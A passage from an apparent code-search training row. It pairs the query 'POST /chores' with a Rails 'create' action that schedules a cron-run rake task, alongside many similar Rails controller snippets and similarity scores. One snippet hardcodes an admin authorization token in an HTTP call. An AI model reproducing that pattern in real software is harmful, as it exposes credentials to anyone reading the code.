"def new\n @premio = Premio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @premio }\n end\n end",
"def new\n @propuesta = Propuesta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @propuesta }\n end\n end",
"def new\n @respuesta = Respuesta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @respuesta }\n end\n end",
"def new\n @repa = Repa.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @repa }\n end\n end",
"def new\n @presenza = Presenza.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @presenza }\n end\n end",
"def new\n @clonet = Clonet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clonet }\n end\n end",
"def new\n @contrato = Contrato.new\n\n respond_to do |format|\n format.html { render layout: nil } # new.html.erb\n format.json { render json: @contrato }\n end\n end",
"def new\n @chore = Chore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @chore }\n end\n end",
"def new\n @caixa = Caixa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @caixa }\n end\n end",
"def new\n @tecnico = Tecnico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tecnico }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end",
"def new\n @requerimiento = Requerimiento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @requerimiento }\n end\n end",
"def new\n @cartucho = Cartucho.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cartucho }\n end\n end",
"def new\n @noto = Noto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @noto }\n end\n end",
"def new\n @tecnico = Tecnico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @tecnico }\n end\n end",
"def new\n @guille = Guille.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @guille }\n end\n end",
"def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end",
"def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end",
"def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end",
"def new\n @moose = Moose.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @moose }\n end\n end",
"def new\n @areco = Areco.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @areco }\n end\n end",
"def new\n @gitto = Gitto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gitto }\n end\n end",
"def new\n @relogio = Relogio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @relogio }\n end\n end",
"def new\n @concurso = Concurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @concurso }\n end\n end",
"def new\n @sezione = Sezione.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sezione }\n end\n end",
"def new\n @cuerpo = Cuerpo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cuerpo }\n end\n end",
"def new\n @pony = Pony.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pony }\n end\n end",
"def new\n @tipo_convenio = TipoConvenio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_convenio }\n end\n end",
"def new\n @comentario = Comentario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comentario }\n end\n end",
"def new\n @comisaria = Comisaria.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comisaria }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def new\n @recoleccion = Recoleccion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recoleccion }\n end\n end",
"def new\n @actore = Actore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @actore }\n end\n end",
"def new\n @producto = Producto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @producto }\n end\n end",
"def new\n @selecao = Selecao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @selecao }\n end\n end",
"def new\n @lugar = Lugar.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lugar }\n end\n end",
"def new\n @spiel = Spiel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spiel }\n end\n end",
"def new\n @pto = Pto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pto }\n end\n end",
"def new\n @remito = Remito.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @remito }\n end\n end",
"def new\n @competicao = Competicao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @competicao }\n end\n end",
"def new\n @congreso = Congreso.new\n @campos = Campo.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @congreso }\n end\n end",
"def new\n @resource = Resource.new\n respond_to do |format|\n format.html {render action: :new} # new.html.erb\n format.json { render json: @resource }\n end\n end",
"def new\n @reconocimiento = Reconocimiento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @reconocimiento }\n end\n end",
"def new\n @modelo = Modelo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @modelo }\n end\n end",
"def new\n @troop = Troop.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @troop }\n end\n end",
"def new\n @chamado = Chamado.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @chamado }\n end\n end",
"def new\n @torso = Torso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @torso }\n end\n end",
"def new\n @seguro = Seguro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @seguro }\n end\n end",
"def new\n @carpool = Carpool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @carpool }\n end\n end",
"def new\n @company = Company.new(:name => 'default')\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @company }\n end\n end",
"def new\n @potz = Potz.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @potz }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @alley }\n end\n end",
"def new\n @stuff = Stuff.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @stuff }\n end\n end",
"def new\n @mixproducto = Mixproducto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mixproducto }\n end\n end",
"def new\n @tipo_negocio = TipoNegocio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_negocio }\n end\n end",
"def new\n @tipo_pensum = TipoPensum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_pensum }\n end\n end",
"def new\n @comprobante = Comprobante.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comprobante }\n end\n end",
"def new\n @metodo = Metodo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @metodo }\n end\n end",
"def new\n @reel = Reel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reel }\n end\n end",
"def new\n @livro = Livro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @livro }\n end\n end",
"def new\n @promo = Promo.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @promo }\n end\n end",
"def new\n @lieu = Lieu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lieu }\n end\n end",
"def new\n @prioridade = Prioridade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prioridade }\n end\n end",
"def new\n @promo = Promo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @promo }\n end\n end",
"def new\n @nabe = Nabe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nabe }\n end\n end",
"def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"def new\n @pologeno = Pologeno.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pologeno }\n end\n end",
"def new\n @asociado = Asociado.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @asociado }\n end\n end",
"def new\n @kolegij = Kolegij.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kolegij }\n end\n end",
"def new\n @tea = Tea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tea }\n end\n end",
"def new\n @tea = Tea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tea }\n end\n end",
"def new\n @correo = Correo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @correo }\n end\n end",
"def new\n @cita = Cita.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cita }\n end\n end",
"def new\n @projeto = Projeto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @projeto }\n end\n end",
"def new\n @escola = Escola.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @escola }\n end\n end"
] | [
"0.7724551",
"0.7696025",
"0.75392795",
"0.75392795",
"0.75292146",
"0.7518587",
"0.7508558",
"0.7488637",
"0.74832785",
"0.7445576",
"0.7434531",
"0.74166805",
"0.7416609",
"0.7412969",
"0.74036425",
"0.74007285",
"0.7393031",
"0.7391988",
"0.7384591",
"0.7375571",
"0.7368993",
"0.73686415",
"0.73684794",
"0.7365332",
"0.7364265",
"0.7363588",
"0.7347872",
"0.7339549",
"0.73328096",
"0.732948",
"0.7326542",
"0.732314",
"0.7317553",
"0.7317553",
"0.7317553",
"0.73107564",
"0.73000425",
"0.7284631",
"0.72785133",
"0.7277924",
"0.7268849",
"0.7268723",
"0.726018",
"0.725797",
"0.7256333",
"0.7247812",
"0.7241535",
"0.7241535",
"0.7241535",
"0.7241535",
"0.7241535",
"0.72401017",
"0.72384804",
"0.7230486",
"0.7230432",
"0.7228285",
"0.7224639",
"0.7224325",
"0.72190833",
"0.72178787",
"0.7213713",
"0.7211848",
"0.7210205",
"0.72070175",
"0.7205299",
"0.7203578",
"0.7203192",
"0.7202575",
"0.7200645",
"0.71994203",
"0.7192639",
"0.7185284",
"0.7183392",
"0.7183278",
"0.7177979",
"0.71770096",
"0.71733075",
"0.71732575",
"0.71718556",
"0.71718425",
"0.7171581",
"0.7170129",
"0.7169067",
"0.71685946",
"0.71681106",
"0.71658087",
"0.71658087",
"0.71658087",
"0.71658087",
"0.71658087",
"0.71591085",
"0.71551555",
"0.7152822",
"0.71512955",
"0.71512955",
"0.7149205",
"0.71487147",
"0.71455145",
"0.7144574"
] | 0.73945916 | 17 |
POST /chores POST /chores.json | def create
@chore = @dwelling.chores.build(params[:chore])
@chore.owner = current_user
@chore.active = true
# Make the actual cron-format string
cron_cmd = "/bin/bash -l -c 'cd #{Rails.root} && bundle exec rake chores:activate_chore CHORE_ID="
case @chore.cron_str
when "Every M/W/F"
@chore.cron_str = "0 0 * * MON,WED,FRI #{cron_cmd}"
when "Every T/Th"
@chore.cron_str = "0 0 * * TUE,THU #{cron_cmd}"
when "Every Sunday"
@chore.cron_str = "0 0 * * SUN #{cron_cmd}"
else
@chore.cron_str = nil
end
# if @chore.cron_str
# puts @chore.cron_str
# puts (CronEdit::Crontab.Add "chore_#{params[:id]}", @chore.cron_str)
# end
respond_to do |format|
if @chore.save
if @chore.cron_str
puts @chore.cron_str
puts (CronEdit::Crontab.Add "chore_#{@chore.id}", "#{@chore.cron_str}#{@chore.id}'")
end
format.html { redirect_to @chore, notice: 'Chore was successfully created.' }
format.json { render json: @chore, status: :created, location: @chore }
else
format.html { render :new }
format.json { render json: @chore.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @trecho = Trecho.new(params[:trecho])\n\n respond_to do |format|\n if @trecho.save\n format.html { redirect_to @trecho, notice: 'Trecho was successfully created.' }\n format.json { render json: @trecho, status: :created, location: @trecho }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trecho.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n if @respuesta.save\n render json: @respuesta, status: :created, location: @respuesta\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end",
"def create\n @chocovoteur = Chocovoteur.new(chocovoteur_params)\n \n respond_to do |format|\n if @chocovoteur.save\n format.html { redirect_to @chocovoteur, notice: 'Chocovoteur was successfully created.' }\n format.json { render :show, status: :created, location: @chocovoteur }\n else\n format.html { render :new }\n format.json { render json: @chocovoteur.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cartucho = Cartucho.new(params[:cartucho])\n\n respond_to do |format|\n if @cartucho.save\n format.html { redirect_to @cartucho, notice: 'Cartucho was successfully created.' }\n format.json { render json: @cartucho, status: :created, location: @cartucho }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cartucho.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @chores = Chore.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @chores }\n end\n end",
"def index\n @chores = Chore.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @chores }\n end\n end",
"def new\n @trecho = Trecho.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trecho }\n end\n end",
"def create\n @chamado = Chamado.new(params[:chamado])\n\n respond_to do |format|\n if @chamado.save\n #fmt = '/chamados/%s.json'\n #response = fmt % [@chamado.id]\n format.html { redirect_to @chamado, notice: 'Chamado was successfully created.' }\n format.html { render json: @chamado, status: :created, location: @chamado }\n else\n format.html { render action: \"new\" }\n format.json { render json: @chamado.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @chocolate = Chocolate.new(chocolate_params)\n\n respond_to do |format|\n if @chocolate.save\n format.html { redirect_to @chocolate, notice: \"Chocolate was successfully created.\" }\n format.json { render :show, status: :created, location: @chocolate }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @chocolate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @chapitre = Chapitre.new(chapitre_params)\n\n respond_to do |format|\n if @chapitre.save\n format.html { redirect_to @chapitre, notice: 'Chapitre was successfully created.' }\n format.json { render :show, status: :created, location: @chapitre }\n else\n format.html { render :new }\n format.json { render json: @chapitre.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params.permit(:intitule, :estObligatoire, :nombreDeCaractere, :ordre, :sondage_id)\n ajout = QuestionOuverteService.instance.creerQuestionOuverte(params[:intitule], params[:estObligatoire], params[:nombreDeCaractere], params[:ordre], params[:sondage_id])\n (ajout != nil) ? (render json: ajout, status: :ok) : (render json: nil, status: :not_found)\n end",
"def create\n \n @user = User.find(params[:chore][:user_id])\n @chore = @user.chores.create(chore_params)\n @chore.save\n redirect_to user_path(@user.id)\n end",
"def post\n Typhoeus.post(@url,\n body: @results_hash.to_json,\n headers: { 'Content-Type' => 'application/json' })\n end",
"def create\n @responsavel = Responsavel.new(responsavel_params)\n\n if @responsavel.save\n render json: @responsavel, status: :created, location: @responsavel\n else\n render json: @responsavel.errors, status: :unprocessable_entity\n end\n end",
"def create\n @recoleccion = Recoleccion.new(recoleccion_params)\n\n respond_to do |format|\n if @recoleccion.save\n format.html { redirect_to @recoleccion, notice: 'Recoleccion was successfully created.' }\n format.json { render :show, status: :created, location: @recoleccion }\n else\n format.html { render :new }\n format.json { render json: @recoleccion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n respond_to do |format|\n if @respuesta.save\n format.html { redirect_to @respuesta, notice: 'Respuesta was successfully created.' }\n format.json { render json: @respuesta, status: :created, location: @respuesta }\n else\n format.html { render action: \"new\" }\n format.json { render json: @respuesta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @simple_chores = SimpleChore.all\n respond_to do |format|\n format.html\n format.json { render :json => @simple_chores }\n end\n end",
"def create\n @consumo = Consumo.new(params[:consumo])\n\n respond_to do |format|\n if @consumo.save\n format.html { redirect_to @consumo.cliente, :notice => 'Consumo adicionado com sucesso.' }\n format.json { render :json => @consumo, :status => :created, :location => @consumo }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @consumo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @choice = Choice.new(choice_params)\n\n if @choice.save\n render json: @choice, status: :created, location: @choice\n else\n render json: @choice.errors, status: :unprocessable_entity\n end\n end",
"def new\n @cartucho = Cartucho.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cartucho }\n end\n end",
"def create\n @produto = Produto.create(produto_params)\n respond_with @produto\n end",
"def create\n @respuesta = Respuesta.new(respuesta_params)\n\n respond_to do |format|\n if @respuesta.save\n format.html { redirect_to @respuesta, notice: 'Respuesta was successfully created.' }\n format.json { render :show, status: :created, location: api_v1_respuesta_url(@respuesta) }\n else\n format.html { render :new }\n format.json { render json: @respuesta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @veiculo = Veiculo.new(params[:veiculo])\n\n respond_to do |format|\n if @veiculo.save\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully created.' }\n format.json { render :json => @veiculo, :status => :created, :location => @veiculo }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @hero = Hero.new(hero_params)\n\n if @hero.save\n render json: @hero, status: :created, location: @hero\n else\n render json: @hero.errors, status: :unprocessable_entity\n end\n end",
"def create\n @quinto = Quinto.new(quinto_params)\n \n @quinto.anio = params[:anio]\n @quinto.mes = params[:mes]\n \n \n respond_to do |format|\n if @quinto.save\n format.html { redirect_to @quinto, notice: 'Quinto was successfully created.' }\n format.json { render :show, status: :created, location: @quinto }\n else\n format.html { render :new }\n format.json { render json: @quinto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @premio = Premio.new(params[:premio])\n\n respond_to do |format|\n if @premio.save\n format.html { redirect_to @premio, :notice => 'Premio was successfully created.' }\n format.json { render :json => @premio, :status => :created, :location => @premio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @premio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @carro = @patio.carros.new(carro_params)\n\n respond_to do |format|\n if @carro.save\n format.html { redirect_to [@unidade, @patio, @carro], notice: 'Carro was successfully created.' }\n format.json { render :show, status: :created, location: [@unidade, @patio, @carro] }\n else\n format.html { render :new }\n format.json { render json: @carro.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @historial = Historial.new(params[:historial])\n @historial.cartucho = Cartucho.find(params[:cartucho_id])\n \n\n respond_to do |format|\n if @historial.save\n format.html { redirect_to @historial.cartucho, notice: 'Historial was successfully created.' }\n else\n format.html { render action: \"new\" }\n format.json { render json: @historial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @produto = Produto.new(params[:produto])\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to @produto, notice: 'Produto was successfully created.' }\n format.json { render json: @produto, status: :created, location: @produto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def troca\n @remetente = Sobrevivente.where(id: params[:de]).first\n @destinatario = Sobrevivente.where(id: params[:para]).first\n\n enviar = {agua: 1, comida: 2, medicamento: 3, municao: 4}\n receber = {agua: 0, comida: 2, medicamento: 3, municao: 8}\n\n trocou = @remetente.troca(@destinatario, enviar, receber)\n\n render json: { status: trocou }\n end",
"def create\n #get the current group of the logged in user\n #.where returns an array, even if there's only one value\n #In Ruby, the params function can access the path, the url params, or the body for the needed value\n group = current_user.groups.where(id: params[:group_id]).first\n #The .build method is a built in method of ruby where we can add to a collection without saving it just yet\n #So we're adding a new Chore to the chores collection in our postico db without saving it yet\n @v1_chore = group.chores.build(v1_chore_params)\n @v1_chore.completed = false\n @v1_chore.assigned = false\n @v1_chore.pending = false\n @v1_chore.groupname = group.name\n if @v1_chore.save\n render :create, status: :created\n else\n render json: @v1_chore.errors, status: :unprocessable_entity\n\n end\n end",
"def create\n @prueba_json = PruebaJson.new(prueba_json_params)\n\n respond_to do |format|\n if @prueba_json.save\n format.html { redirect_to @prueba_json, notice: 'Prueba json was successfully created.' }\n format.json { render action: 'show', status: :created, location: @prueba_json }\n else\n format.html { render action: 'new' }\n format.json { render json: @prueba_json.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @colegio = Colegio.new(params[:colegio])\n\n respond_to do |format|\n if @colegio.save\n format.html { redirect_to @colegio, notice: 'El colegio fue creado satisfactoriamente.' }\n format.json { render json: @colegio, status: :created, location: @colegio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @colegio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @requiero = Requiero.new(requiero_params)\n\n respond_to do |format|\n if @requiero.save\n format.html { redirect_to @requiero, notice: 'Requiero was successfully created.' }\n format.json { render :show, status: :created, location: @requiero }\n else\n format.html { render :new }\n format.json { render json: @requiero.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sugerencia = Sugerencia.new(params[:sugerencia])\n\n respond_to do |format|\n if @sugerencia.save\n format.html { redirect_to @sugerencia, :notice => 'Sugerencia was successfully created.' }\n format.json { render :json => @sugerencia, :status => :created, :location => @sugerencia }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @sugerencia.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @relogio = Relogio.new(params[:relogio])\n\n respond_to do |format|\n if @relogio.save\n format.html { redirect_to @relogio, notice: 'Relogio was successfully created.' }\n format.json { render json: @relogio, status: :created, location: @relogio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @relogio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n @carrito = Carrito.new(carrito_params)\n \n respond_to do |format|\n if @carrito.save\n format.html { redirect_to @carrito, notice: 'Carrito was successfully created.' }\n format.json { render :show, status: :created, location: @carrito }\n else\n format.html { render :new }\n format.json { render json: @carrito.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @objeto = Carpeta.new(carpeta_params)\n\n respond_to do |format|\n if @objeto.save\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Carpeta was successfully created.' }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n puts 'AQQQQQUUUUUUUIIIIII'\n json = ActiveSupport::JSON.decode(params[:pessoa])\n puts json\n @pessoa = Pessoa.new(json)\n # @address = Address.new(params[:address])\n\n # @client.addresses = @address\n\n respond_to do |format|\n if @pessoa.save\n format.html { redirect_to @pessoa, notice: 'Pessoa was successfully created.' }\n format.json { render json: @pessoa, status: :created, location: @pessoa }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pessoa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tecnico = Tecnico.new(params[:tecnico])\n\n respond_to do |format|\n if @tecnico.save\n format.html { redirect_to @tecnico, :notice => 'Tecnico was successfully created.' }\n format.json { render :json => @tecnico, :status => :created, :location => @tecnico }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @tecnico.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @resi = Resi.new(resi_params)\n\n respond_to do |format|\n if @resi.save\n format.html { redirect_to @resi, notice: 'Resi was successfully created.' }\n format.json { render :show, status: :created, location: @resi }\n else\n format.html { render :new }\n format.json { render json: @resi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cliente = Cliente.new\n if params[:type] == \"PessoaFisica\"\n @cliente.pessoa = PessoaFisica.new\n else\n @cliente.pessoa = PessoaJuridica.new\n end\n @cliente.assign_attributes(cliente_params)\n respond_to do |format|\n if @cliente.save\n format.html { redirect_to action: \"index\"}\n format.json { render json: @cliente.to_json(include: [:pessoa]) }\n else\n format.html { render :new }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end",
"def create\n @tipoapreensao = Tipoapreensao.new(tipoapreensao_params)\n\n respond_to do |format|\n if @tipoapreensao.save\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tipoapreensao }\n else\n format.html { render action: 'new' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @guille = Guille.new(params[:guille])\n\n respond_to do |format|\n if @guille.save\n format.html { redirect_to @guille, notice: 'Guille was successfully created.' }\n format.json { render json: @guille, status: :created, location: @guille }\n else\n format.html { render action: \"new\" }\n format.json { render json: @guille.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n require 'rest-client'\n response = RestClient.post('localhost:3001/colores/', color_params.as_json, {:Authorization => 'admin irizREhyoG6Ejwr4AcjsQME9'})\n if response.code == 200\n @color = JSON.parse(response.body)\n format.html { redirect_to @color, notice: \"Color was successfully created.\" }\n format.json { render :show, status: :created, location: @color }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @color.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @premio = Premio.new(params[:premio])\n\n respond_to do |format|\n if @premio.save\n format.html { redirect_to @premio, notice: 'Premio was successfully created.' }\n format.json { render json: @premio, status: :created, location: @premio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @premio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @relacao_produto = RelacaoProduto.new(relacao_produto_params)\n\n respond_to do |format|\n if @relacao_produto.save\n format.html { redirect_to @relacao_produto, notice: 'Relacao produto was successfully created.' }\n format.json { render :show, status: :created, location: @relacao_produto }\n else\n format.html { render :new }\n format.json { render json: @relacao_produto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @testmonial = Testmonial.new(testmonial_params)\n\n if @testmonial.save\n render json: @testmonial, status: :created\n else\n render json: @testmonial.errors, status: :unprocessable_entity\n end\n end",
"def create\n @chaine = Chaine.new(params[:chaine])\n\n respond_to do |format|\n if @chaine.save\n format.html { redirect_to @chaine, notice: 'Chaine was successfully created.' }\n format.json { render json: @chaine, status: :created, location: @chaine }\n else\n format.html { render action: \"new\" }\n format.json { render json: @chaine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @propuesta = Propuesta.new(propuesta_params)\n\n respond_to do |format|\n if @propuesta.save\n format.html { redirect_to @propuesta, notice: 'Propuesta was successfully created.' }\n format.json { render :show, status: :created, location: @propuesta }\n else\n format.html { render :new }\n format.json { render json: @propuesta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @contrato = Contrato.new(contrato_params)\n\n if @contrato.save\n render :show, status: :created, location: @contrato\n else\n render json: @contrato.errors, status: :unprocessable_entity\n end\n end",
"def create\n @promo = Promo.new(params[:promo])\n\n respond_to do |format|\n if @promo.save\n format.html { redirect_to @promo, notice: 'Promo was successfully created.' }\n format.json { render json: @promo, status: :created, location: @promo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @promo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reconocimiento = Reconocimiento.new(params[:reconocimiento])\n\n respond_to do |format|\n if @reconocimiento.save\n format.html { redirect_to @reconocimiento, :notice => 'Reconocimiento was successfully created.' }\n format.json { render :json => @reconocimiento, :status => :created, :location => @reconocimiento }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @reconocimiento.errors, :status => :unprocessable_entity }\n end\n end\n end",
